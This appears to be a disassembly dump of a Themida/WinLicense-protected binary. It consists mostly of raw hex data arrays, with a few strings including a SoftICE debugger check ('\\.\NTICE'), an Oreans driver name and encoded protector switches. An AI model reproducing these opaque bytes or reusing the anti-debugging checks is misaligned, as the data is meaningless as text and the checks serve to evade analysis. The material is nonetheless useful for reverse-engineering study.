		dd 2294A67Dh, 0B5615C77h, 0C599065Dh, 0FE040A39h, 57E523B3h
		dd 0BDA3A981h, 0D1580623h, 144337EAh, 6B034CE3h, 3DE32D3h
		dd 6B91BFB0h, 30951FDh,	37D3E0DCh, 929E4A72h, 2E347C24h
		dd 3DE7FC39h, 2EFB436Bh, 457A5EA8h, 587E5BADh, 7E7E8563h
		dd 937D58A4h, 46085h, 0AB14C800h, 66577C59h, 209B3714h
		dd 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh, 69469821h
		dd 21FE506Fh, 0A8B406B5h, 8B341A20h, 4D485808h,	8C4A17E6h
		dd 88F6002Fh, 0C2C890D8h, 51F1E7DCh, 9399C8F0h,	0E2D7FECBh
		dd 87E76FB3h, 72F57E6h,	0D9E6F2BFh, 912EAA87h, 0FEFED8E5h
		dd 95B73F2Ah, 95730B49h, 3EA56B78h, 0F29FAD97h,	36000003h
		dd 0EAC719A6h, 0A582D4E9h, 5F3C8E2Dh, 14F14376h, 6FA8FAC3h
		dd 4D706749h, 6B31EFBh,	0BE01D7B4h, 74478F6Ch, 888E1622h
		dd 58088BA2h, 1254BBB6h, 0E2AFF7C4h, 2E98C7F4h,	5A06B521h
		dd 88348B4Dh, 24AD5D7Bh, 0DB51FD95h, 7ED6DB77h,	2E8EEB6h
		dd 8551F1E8h, 0FD25F1CCh, 254D13E2h, 15E6A4F6h,	51F2AB16h
		dd 2E9ACC7Ah, 1366FEEDh, 7DFFFFFDh, 32874A17h, 0DDDEF803h
		dd 52B72531h, 79903C81h, 890999E8h, 0F78F27B2h,	0B81AE7AFh
		dd 0D0FF5703h, 0E56A9D8Ch, 398BB357h, 0CC79D180h, 9D6AB25Eh
		dd 7ED68239h, 0B481494Fh, 0D1E8E91Fh, 8935CD25h, 0B6625B7Ch
		dd 5397C65Eh, 57E50208h, 0B90DAED6h, 0FFFA95ADh, 1D650977h
		dd 10A6F017h, 363C0406h, 6318750h, 6D508764h, 0FA22A6D5h
		dd 0FEE4EAB2h, 12063186h, 4551BBEAh, 0D9DF27D7h, 0C24C1E4h
		dd 0D9A6EE16h, 9F76BEFDh, 3B581689h, 1F050B1Ch,	330C45C3h
		dd 3444730Bh, 5E3C7F57h, 8A67B7B9h, 0DA72806Ah,	4E000002h
		dd 2DF318Eh, 0BD9AECD1h, 7754A615h, 2C095B5Eh, 87C012ABh
		dd 65587F31h, 1E9B3613h, 0D6E9EFCCh, 8C2FA784h,	0A0A62E3Ah
		dd 58088CBAh, 136CD3CEh, 0ABB1F9A5h, 57E68829h,	3D054D75h
		dd 8875137h, 0E3D6558h,	639D3B08h, 0B6C138E0h, 765C6234h
		dd 8A5808BCh, 0EA32CA62h, 64488513h, 7C823592h,	5808BB96h
		dd 0BBEA82AAh, 0B50ACEABh, 0E1DAFC09h, 0A4BF1E03h, 212F193Eh
		dd 25Dh, 5CAE11CBh, 1769547Fh, 0D123983Ah, 86D8E1F4h, 3D8F2EA9h
		dd 0DBFCB404h, 1EB390E2h, 6C6C499Bh, 0B2240153h, 23ABB709h
		dd 88D371Dh, 0E9504B58h, 0B1F9A513h, 0E68829ABh, 54D7557h
		dd 0CB1D9E38h, 97301CF3h, 8AE1DCFBh, 0C210C6E5h, 283261F9h
		dd 0FECB13BBh, 0AEB4E3D8h, 88CB8A8h, 0CB8E058h,	9DE5D8FFh
		dd 8CE9CFD5h, 0D5FD5808h, 41704988h, 0A23590D7h, 80EDC91Bh
		dd 0C5B38AD2h, 9381A4EDh, 0E6ECF221h, 580856E8h, 3B48F41Ch
		dd 6C74209Bh, 56B89EA4h, 0A4CC5808h, 1D53075h, 571E040Ah
		dd 0A325808h, 93432072h, 812E7C28h, 0A958FADEh,	15C1FADCh
		dd 53838EBDh, 89492068h, 0D50368A5h, 876474A3h,	57246C4Fh
		dd 39913D80h, 4493A00Ah, 0F75BCD79h, 8635A15Bh,	3D805734h
		dd 335D1EF5h, 0FEA0E2A6h, 6A1765CFh, 8DA7E3C7h,	5E2B734Ah
		dd 8184774h, 4B6E6330h,	0D18479Fh, 3A47F3CAh, 0A1676C9Eh
		dd 42EE8635h, 420A52EAh, 828563Ch, 0C9F4E358h, 18FFC51Dh
		dd 483030F7h, 1140D842h, 82379AA7h, 0F208C9D6h,	2F5F1682h
		dd 711DB537h, 961B375Bh, 0E235F01h, 9A5A4046h, 466E5808h
		dd 0F2CB0C17h, 18F1C8A0h, 0F296C92Bh, 0FEE4EA32h, 125808B5h
		dd 26B0BBEAh, 6BA3E995h, 44EE191Ch, 8A4CE0A2h, 0E31D0672h
		dd 0C4114D73h, 0A7FFAB14h, 0F6E0BD0Fh, 0CB0C19C5h, 6CD046F2h
		dd 0FBC0162Eh, 0B740DCB3h, 0A4CB0421h, 4E886575h, 493098AEh
		dd 0B70463A4h, 99F19D20h, 0DB495501h, 96E5EB33h, 6C166F6Dh
		dd 0A816F244h, 3EAAB0F8h, 4E1C84ECh, 0AA727A26h, 0A6ECBEA4h
		dd 7BAAD21Ch, 0D556670h, 0ED593F45h, 456D1CA6h,	572E0616h
		dd 0C21AAF5Bh, 0EAD29EDh, 25720A62h, 75F0BB2h, 0B209CDD8h
		dd 3036FE06h, 1CA72C4Ah, 0C307365Eh, 1E4F47DEh,	46FE9C00h
		dd 1D92B90h, 6E1AA334h,	0B00FC916h, 727DAC04h, 9EAB5764h
		dd 0C9D68237h, 0F906B209h, 0FD31DDDCh
		dd 0E3787919h, 0EBEB0141h, 6C525820h, 801E9248h, 47ECD258h
		dd 0D8001E92h, 0A62BF840h, 0E00F6713h, 28E3F3D0h, 0BB417C5Bh
		dd 1E9247D5h, 7D29C1E9h, 146Fh,	4017C600h, 0A6BCA12Bh
		dd 6A50561Ch, 7E51F2E4h, 568FBE56h, 0F5CA12EFh,	219A3C49h
		dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
		dd 33884A57h, 64597A87h, 746833B8h, 89000031h, 8952240Ch
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 47CB68h
		dd 24148900h, 51256851h, 81591EFBh, 9A5922F1h, 0AAE9816Bh
		dd 49497213h, 824CE981h, 0CE89B661h, 76C68159h,	815BCF0Dh
		dd 0BA2095C6h, 4EC8134h, 89000000h, 4812424h, 424h, 8F565A00h
		dd 34FF0842h, 0C4835A24h, 24348B04h, 81E68956h,	4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 0FFFDD55Fh, 6437EF17h, 16A83BB8h
		dd 0FFC50306h, 0A2DBD8E0h, 704C504h, 890E664Bh,	10E85Ch
		dd 13BA0000h, 7FE1B68Fh, 0C25946AAh, 3DD62F36h,	0BB668FBFh
		dd 805A8A40h, 0C281EDF3h, 6AA2h, 0CE8h,	622F0200h, 87048AA1h
		dd 4E89C962h, 2800F23h,	50000000h, 0F2BF585Bh, 811C7451h
		dd 743776EFh, 6CF801Ch,	0F600A8Bh, 1689h, 11E900h, 3B980000h
		dd 53A66BA5h, 9A70F510h, 0D988E77h, 610A808Fh, 0D1B1E981h
		dd 0F08B57A4h, 3599C181h, 0BE93C87h, 44000000h,	341E4F7Ah
		dd 8DFCC24h, 0E9810E0Ch, 67F488ECh, 7441B866h, 0BE90A89h
		dd 38000000h, 0D33A316Fh, 6357E075h, 0EA835B15h, 3BE6604h
		dd 1EF833Ah, 0FF96850Fh, 0F681FFFFh
aNxsn		db 'т[╜XИ█',0           ; DATA XREF: Themida_:005495CCo
		align 4
		dd 0BD836000h, 6140359h, 5840F00h, 0E9000000h, 78h, 3E80006Ah
		dd 8850F30h, 6A000000h,	35E94600h, 80000000h, 850F333Eh
		dd 8, 0E946106Ah, 24h, 0F343E80h, 885h,	46306A00h, 13E9h
		dd 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h, 0F203E80h
		dd 1285h, 17E8000h, 8850F00h, 83000000h, 15E908C4h, 8D000000h
		dd 14079585h, 4895006h,	96509624h, 95FF006Ah, 61402C1h
		dd 85C6C361h, 6141A59h,	4E84Dh,	76A80000h, 8B50A435h, 8B042444h
		dd 24448900h, 0B5FF5804h, 6140931h, 3B13858Dh, 0D0FF0614h
		dd 2C18589h, 1EEB0614h,	5C2E5C5Ch, 45434953h, 2E5C5C00h
		dd 5749535Ch, 444956h
a_Ntice		db '\\.\NTICE',0        ; DATA XREF: Themida_:005491F8o
		dw 0C08Bh
		dd 0CF8B6656h, 0B1BD835Eh, 61430h, 0BD830975h, 6141AE1h
		dd 50197400h, 0B8C08B53h, 40Fh,	1A498589h, 9D8D0614h, 616B73Ah
		dd 585BD3FFh, 1AE1BD83h, 74000614h, 0B8535017h,	40Fh, 1A498589h
		dd 9D8D0614h, 616B429h,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 6DC35646h, 9ED9589h, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 3ED9E8C3h, 0A7F8EB09h, 5CBED781h, 0C08B1D09h, 25899D89h
		dd 85C60614h, 6141A59h,	55006A43h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 3B0B0BBBh, 219C496Eh
		dd 14E9h, 89833F00h, 8B6269B0h,	0FADC1301h, 35B0E566h
		dd 0CA5FDCE6h, 2D016869h, 8B6647D1h, 240481CBh,	74BD41FBh
		dd 0FFFE8B66h, 141145B5h, 0ECCA8106h, 8D5985DAh, 143B1385h
		dd 10E906h, 489F0000h, 0D6305267h, 0B1E86448h, 4DD3F28Eh
		dd 8D8B6641h, 6143085h,	6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 1D4C94C3h, 0FE9E1h, 56DE0000h
		dd 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah, 606090F8h, 12E9h, 927F5900h
		dd 0BF9F881Fh, 9F806A31h, 0F6C07A27h, 8B0DD58Bh, 8B6661CEh
		dd 515061C6h, 4AAE26BFh, 6A905900h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 839FC352h
		dd 9DBD8B29h, 6A06142Fh, 38A0F00h, 0F000000h, 0CB68FABFh
		dd 50E307DBh, 4FBE6652h, 60310F5Ah, 310F5250h, 5853585Ah
		dd 81585A61h, 24B52404h, 81661CF8h, 6A6803E6h, 45BD0B03h
		dd 6A061431h, 36AF900h,	9E9h, 5A891D00h, 230E2E4Eh, 4E883A5h
		dd 0
		dd 0B1C00000h, 5060508Fh, 0B2310F52h, 50585AE5h, 13E852h
		dd 3130000h, 14F8A24Ch,	7BCAE13Bh, 7B0DAC17h, 1E4E0A60h
		dd 310F5B65h, 585AE6B5h, 24448B61h, 0FB8B6604h,	77BF008Bh
		dd 89383CE3h, 60042444h, 61DE8B66h, 89958958h, 8D06142Fh
		dd 16AA599Dh, 68B0F06h,	89000000h, 140BFDBDh, 0DE99306h
		dd 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah,	2FBA9350h
		dd 0FF4D84A7h, 0EE9D0h,	67060000h, 0A26EEF0h, 0C0446454h
		dd 621A92D0h, 8F850F40h, 66000002h, 0DE42E681h,	0B5958B58h
		dd 50061416h, 12E8h, 0A22D2900h, 731DD64Fh, 0CF1DFA3Dh
		dd 6FDBBF29h, 66585FBAh, 5FB7B1BAh, 81240489h, 5E835DEEh
		dd 0FC006A5Ch, 0DDE2C968h, 8E835h, 61770000h, 0F903AE1Ch
		dd 815E11DBh, 0E2492434h, 10E935DDh, 97000000h,	43A4C8BDh
		dd 2CCA8884h, 3E922C07h, 6A6EE40Ch, 6A006A03h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7032C357h, 0F08B036Ah, 0D9BDA368h, 665360A0h, 615FF98Bh
		dd 5D240481h, 0BA1F2642h, 12F741E7h, 0AA629D8Dh, 9EB20616h
		dd 19870F93h, 0E8000000h, 0Fh, 796646C1h, 9D822777h, 0D6715B58h
		dd 667012DFh, 5FEB1ABEh, 0D95EBE50h, 23932D8Fh,	140839BDh
		dd 40D0FF06h, 1B0850Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 23DE81C3h, 622899B5h
		dd 0A1BEAED4h, 587F39D4h, 2E5958Bh, 60500614h, 50F28B66h
		dd 0EC2DB852h, 310F785Eh, 5AF28B66h, 4896158h, 11E924h
		dd 512C0000h, 0E181674Dh, 7D888DD0h, 0DE02646Ah, 6A84EEFEh
		dd 12E900h, 0F8F70000h,	0B34FC513h, 0D4F9F24Ch,	93A8CE3Fh
		dd 0A2D3F9CBh, 0E2B52D68h, 0AE86022h, 14000000h, 0EA8E3936h
		dd 0FEAB0E26h, 0CFB3BF11h, 0F5A0186h, 389h, 0CA8B6600h
		dd 24348161h, 22E2B5ADh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 26C35343h, 0B9A0C34h,	8E35E808h, 91F18166h
		dd 9036A1Ah, 1425CDBDh,	6A006A06h, 2D958B03h, 8B061408h
		dd 1404858Dh, 0AEAB6806h, 5250ACEDh, 0F62143BAh, 0F310F63h
		dd 48Fh, 99BE6600h, 81585AF8h, 0AEAB2434h, 6A6CEDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0AFE59FC3h, 0BF0FEB8Ah, 6D9D8DCBh, 890616AAh, 140679B5h
		dd 0F539306h, 198Bh, 14E900h, 20B80000h, 0DD983E86h, 6261455Fh
		dd 52A83713h, 46E1DF7Bh, 505A7486h, 0B6C68B60h,	0FF9361E9h
		dd 0BA6653D0h, 405E7341h, 44850Fh, 10E90000h, 0F8000000h
		dd 0B372F737h, 54E26B01h, 0CADD65DCh, 8BC5F36Fh, 140385BDh
		dd 8D295806h, 6141BC5h,	145E9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0D88BB1D5h
		dd 31E1B50Bh, 4BF80614h, 11E9h,	6AB61600h, 804340EFh, 2C0EA1BEh
		dd 0F951C0CBh, 0F58B129h, 85C6CFB7h, 6141A59h, 53006A43h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 958BFD81h, 6142FB9h,	0D210E3BEh, 898D2B4Bh, 6806142Eh
		dd 0BFDA3AFEh, 3860Fh, 8B660000h, 243481F3h, 7FAC7059h
		dd 6E8F5h, 2C270000h, 4B59F1B2h, 5E85DF81h, 0FF5E3D39h
		dd 141145B5h, 0D6EA8106h, 97E97CCh, 14306DB5h, 13858D06h
		dd 6A06143Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h,	0A2491C4Ah
		dd 19BD8589h, 0D0FF0614h, 8B50EE8Ah, 241C89F9h,	35958B60h
		dd 66061422h, 617B5CB9h, 0BD8BD0FFh, 614211Dh, 70F09D8Dh
		dd 85890614h, 6142249h,	12E9h, 0C225BA00h, 0DC4FA80Ah
		dd 7D3D5CD6h, 0FC786CCDh, 0B84D88FDh, 1, 6C56EE81h, 0E3FF0F62h
		dd 0CE853h, 70550000h, 39F28C3Ah, 3AA8EF82h, 59514F94h
		dd 0C18B5F59h, 0AD8D8960h, 60061402h, 8C0Fh, 9D890000h
		dd 6140619h, 0C08B6161h, 8830Fh, 89510000h, 1412BD8Dh
		dd 0BD835A06h, 61430B1h, 83097500h, 141AE1BDh, 19740006h
		dd 0C08B5350h, 40FB8h, 0C1858900h, 8D061430h, 16B7A19Dh
		dd 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h, 40FB8h, 0C1858900h
		dd 8D061430h, 16B4429Dh, 5BD3FF06h, 0FDBD2958h,	8B061419h
		dd 8E8C0h, 42380000h, 0F51FB5D1h, 8C0F9C65h, 6,	2E8D9D8Bh
		dd 0E9580614h, 5, 0E68748BFh, 37C0811Eh, 8B00006Eh, 1B6F68D9h
		dd 8B660000h, 8B665FDFh, 81108BCFh, 0F768B4F2h,	0DF8B6605h
		dd 8550EA81h, 7B15FCCh,	1E37C281h, 0B58B4896h, 61416A5h
		dd 0B5891089h, 6140541h, 0F03E883h, 680h, 0EDB50900h, 48061423h
		dd 3C59D8Bh, 0EF830614h, 0BA850F01h, 3FFFFFFh, 1425959Dh
		dd 0AAE906h, 6F530000h,	61777466h, 575C6572h, 694C6E69h
		dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
		dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
		dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
		dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
		dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 5D858900h, 8D0616B2h
		dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
		dd 0B5FF196Ah, 616B25Dh, 6A016Ah, 0B1F2858Dh, 0FF500616h
		dd 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h,	6595FF06h
		dd 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch, 0B25D8589h
		dd 858D0616h, 616B259h,	0C3858D50h, 500616B1h, 168h, 6995FF80h
		dd 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah, 0B21C858Dh
		dd 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h
		dd 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch
		dd 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h,	500616B1h
		dd 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah
		dd 0B204858Dh, 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah
		dd 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h,	0F595FF06h
		dd 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h,	0C3858D50h
		dd 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h
		dd 6A046Ah, 0B22F858Dh,	0FF500616h, 16B259B5h, 8D95FF06h
		dd 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
		dd 0F595FF06h, 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h
		dd 0C3858D50h, 500616B1h, 168h,	6995FF80h, 6A0616B2h, 5D858D04h
		dd 500616B2h, 6A046Ah, 0B1DF858Dh, 0FF500616h, 16B259B5h
		dd 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h,	0FF0616B2h
		dd 16B259B5h, 0F595FF06h, 0C306141Ch, 34F1BD83h, 0F000614h
		dd 0B84h, 0F19D8B00h, 83061434h, 3894CC3h, 0F1BD83C3h
		dd 61434h, 0B840Fh, 9D8B0000h, 61434F1h, 8950C383h, 0BD83C303h
		dd 61434F1h, 0B840F00h,	8B000000h, 1434F19Dh, 54C38306h
		dd 83C30389h, 1434F1BDh, 840F0006h, 0Bh, 34F19D8Bh, 0C3830614h
		dd 0C3038958h, 34F1BD83h, 0F000614h, 0B84h, 0F19D8B00h
		dd 83061434h, 3895CC3h,	8960C3C3h, 16B25D85h, 59858D06h
		dd 500616B2h, 0B1C3858Dh, 68500616h, 80000001h,	0B26995FFh
		dd 46A0616h, 0B25D858Dh, 6A500616h, 8D006A04h, 16B25485h
		dd 0B5FF5006h, 616B259h, 1A8D95FFh, 0BD830614h,	61430B1h
		dd 0C840F00h, 0FF000000h, 16B259B5h, 6595FF06h,	0FF0616B2h
		dd 16B259B5h, 0F595FF06h, 6106141Ch, 858960C3h,	616B25Dh
		dd 0B259858Dh, 8D500616h, 16B1C385h, 1685006h, 0FF800000h
		dd 16B26995h, 8D046A06h, 16B25D85h, 46A5006h, 858D006Ah
		dd 616B236h, 59B5FF50h,	0FF0616B2h, 141A8D95h, 0B1BD8306h
		dd 61430h, 0C840Fh, 0B5FF0000h,	616B259h, 0B26595FFh, 0B5FF0616h
		dd 616B259h, 1CF595FFh,	0C3610614h, 5D858960h, 8D0616B2h
		dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
		dd 858D046Ah, 616B25Dh,	6A046A50h, 3D858D00h, 500616B2h
		dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h, 0F000614h
		dd 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h, 59B5FF06h
		dd 0FF0616B2h, 141CF595h, 60C36106h, 0B25D8589h, 858D0616h
		dd 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h
		dd 5D858D04h, 500616B2h, 6A046Ah, 0B245858Dh, 0FF500616h
		dd 16B259B5h, 8D95FF06h, 8306141Ah, 1430B1BDh, 840F0006h
		dd 0Ch,	0B259B5FFh, 95FF0616h, 616B265h, 0B259B5FFh, 95FF0616h
		dd 6141CF5h, 8960C361h,	16B25D85h, 59858D06h, 500616B2h
		dd 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh, 46A0616h
		dd 0B25D858Dh, 6A500616h, 8D006A04h, 16B24C85h,	0B5FF5006h
		dd 616B259h, 1A8D95FFh,	0BD830614h, 61430B1h, 0C840F00h
		dd 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
		dd 0F595FF06h, 6106141Ch, 85C760C3h, 616B25Dh, 1, 0B259858Dh
		dd 8D500616h, 16B1C385h, 2685006h, 0FF800000h, 16B26995h
		dd 0FC00B06h, 0F84h, 5D85C700h,	616B2h,	0E9000000h, 4Dh
		dd 858D046Ah, 616B25Dh,	6A046A50h, 0D7858D00h, 500616B1h
		dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 840FC00Bh, 0Fh, 0B25D85C7h
		dd 616h, 0AE90000h, 0C7000000h,	16B25D85h, 106h, 59B5FF00h
		dd 0FF0616B2h, 141CF595h, 858B6106h, 616B25Dh, 858960C3h
		dd 616B25Dh, 0B259858Dh, 8D500616h, 16B1C385h, 1685006h
		dd 0FF800000h, 16B26995h, 8D046A06h, 16B25D85h,	46A5006h
		dd 858D006Ah, 616B1D7h,	59B5FF50h, 0FF0616B2h, 141A8D95h
		dd 0B1BD8306h, 61430h, 0C840Fh,	0B5FF0000h, 616B259h, 0B26595FFh
		dd 0B5FF0616h, 616B259h, 1CF595FFh, 0C3610614h,	5D858960h
		dd 8D0616B2h, 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h
		dd 616B269h, 858D046Ah,	616B25Dh, 6A046A50h, 0E9858D00h
		dd 500616B1h, 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h
		dd 0F000614h, 0C84h, 59B5FF00h,	0FF0616B2h, 16B26595h
		dd 59B5FF06h, 0FF0616B2h, 141CF595h, 0C6C36106h, 141A5985h
		dd 7685206h, 0FFADE47Bh, 143481B5h, 1195FF06h, 89061423h
		dd 16B26985h, 5985C606h, 5206141Ah, 2E00E568h, 81B5FF90h
		dd 0FF061434h, 14231195h, 65858906h, 0C60616B2h, 141A5985h
		dd 35685206h, 0FFB9BF12h, 143481B5h, 1195FF06h,	89061423h
		dd 141A8D85h, 5985C606h, 5206141Ah, 78103468h, 81B5FF98h
		dd 0FF061434h, 14231195h, 0F5858906h, 0C606141Ch, 141A5985h
		dd 0D4685206h, 0FFC005DBh, 143481B5h, 1195FF06h, 89061423h
		dd 1402ED85h, 99E906h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 16B923BDh
		dd 840F0006h, 0Ah, 1AE185C7h, 10614h, 85C60000h, 6141A59h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 6141145h, 3B13858Dh, 0D0FF0614h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E3E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C6h, 0AE8h,	0FFCBE900h, 0B7E9FFFFh,	8D000002h, 16B8A3B5h
		dd 225E806h, 0BD030000h, 616B938h, 0B938BD83h, 0F000616h
		dd 0B84h, 0B185C700h, 1061430h,	0C3000000h, 0B8AEB58Dh
		dd 0FCE80616h, 3000001h, 16B938BDh, 38BD8306h, 616B9h
		dd 0B840Fh, 85C70000h, 6141AE1h, 1, 27B58DC3h, 0E80616B9h
		dd 1D3h, 0B938BD03h
		dd 0BD830616h, 616B938h, 0B840F00h, 0C7000000h,	14035985h
		dd 106h, 0B58DC300h, 616B8B8h, 1AAE8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Bh, 1AE185C7h, 10614h, 8DC30000h
		dd 16B8C2B5h, 181E806h,	0BD030000h, 616B938h, 0B938BD83h
		dd 0F000616h, 1584h, 0E185C700h, 106141Ah, 0C7000000h
		dd 1430B185h, 106h, 0B58DC300h,	616B8D0h, 14EE8h, 38BD0300h
		dd 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h
		dd 0B58D0000h, 616B8DAh, 126E8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h, 0B58D0000h
		dd 616B8E5h, 0FEE8h, 38BD0300h,	830616B9h, 16B938BDh, 840F0006h
		dd 0Ah,	65D85C7h, 10614h, 0B58D0000h, 616B8EBh,	0D6E8h
		dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 2E7185C7h
		dd 10614h, 0B58D0000h, 616B8F1h, 0AEE8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 0CAD85C7h, 10614h, 0B58D0000h
		dd 616B8FFh, 86E8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h
		dd 0Ah,	211985C7h, 10614h, 0B58D0000h, 616B90Ch, 5EE8h
		dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0B0585C7h
		dd 10614h, 0B58D0000h, 616B917h, 36E8h,	38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 1CA185C7h, 10614h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h
		dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8,	850FC90Bh
		dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 16B938B5h, 0AE906h, 85C70000h, 616B938h
		dd 0
		dd 0B8C361h, 0B000000h,	0A840FC0h, 0C7000000h, 140D0985h
		dd 6, 0E8C88B00h, 13h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh
		dd 0AA7FE1B6h, 60C25946h, 0F60C88Bh, 8Ch, 0FA72BA00h, 61617E9Dh
		dd 0E1D6815Bh, 8121858Dh, 662FC3h, 0FBF3BF00h, 0BA7B43h
		dd 80000000h, 0C8B04CCh, 81C68B13h, 3820D6C1h, 29858B7Fh
		dd 81061409h, 3A16EDF1h, 0A98D0908h, 8106142Ah,	0C143A3F1h
		dd 0BD9D8949h, 51061423h, 34CDBD2Bh, 48F0614h, 3D9D0913h
		dd 60061403h, 0FE9h, 570F3100h,	0AEFCF3F8h, 78850523h
		dd 814748FFh, 5C88166h,	0EA816181h, 44EE93A1h, 30618D89h
		dd 0C2810614h, 44EE939Dh, 9E9h,	9DF9ED00h, 0CD04C81Dh
		dd 0FA81A38Dh, 0FFFF9AB4h, 16850Fh, 0C18A0000h,	22E9h
		dd 621D7F00h, 0AB070137h, 0F86E0861h, 115ABAD0h, 28F0Fh
		dd 0C18B0000h, 0FFFF5DE9h, 5680EBFFh, 0E9278D89h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 141A5985h, 86684706h, 0FFE3E45Bh
		dd 141145B5h, 13858D06h, 0FF06143Bh, 10468D0h, 9D8D0000h
		dd 61411A9h, 50D0FF53h,	0BFBDB58Dh, 0FE8B0616h,	0FAEC032h
